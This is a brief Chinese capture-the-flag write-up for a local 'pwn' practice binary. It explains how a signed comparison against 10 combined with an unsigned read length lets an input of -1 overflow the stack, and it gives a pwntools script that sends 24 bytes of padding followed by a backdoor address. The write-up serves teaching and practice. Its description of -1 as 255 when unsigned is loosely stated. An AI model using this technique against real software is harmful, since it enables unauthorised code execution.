首先问我们要一个数字,要小于10
然后再问我们要一个值
估计栈溢出就发生在第二个参数传入时
使用gdb动态调试,找到栈溢出的大小,ida提示是4
在gdb中,我们可以看到栈溢出的大小是16+8,24字节
而我们最多只能写入9个长度的数据
我们发现对比时nbytes是一个整数
在read中参数nbytes是一个无符号的整数
我可以传入一个-1
-1在无符号数中代表255
那么即可为我们写入255个数据,就完成栈溢出
from pwn import *
context(arch="amd64")
io = process("./pwn")
backdoor = 0x400726
payload = flat([b"A"*24,backdoor])
io.recv()
io.sendline(b"-1")
io.recv()
io.sendline(payload)
io.interactive()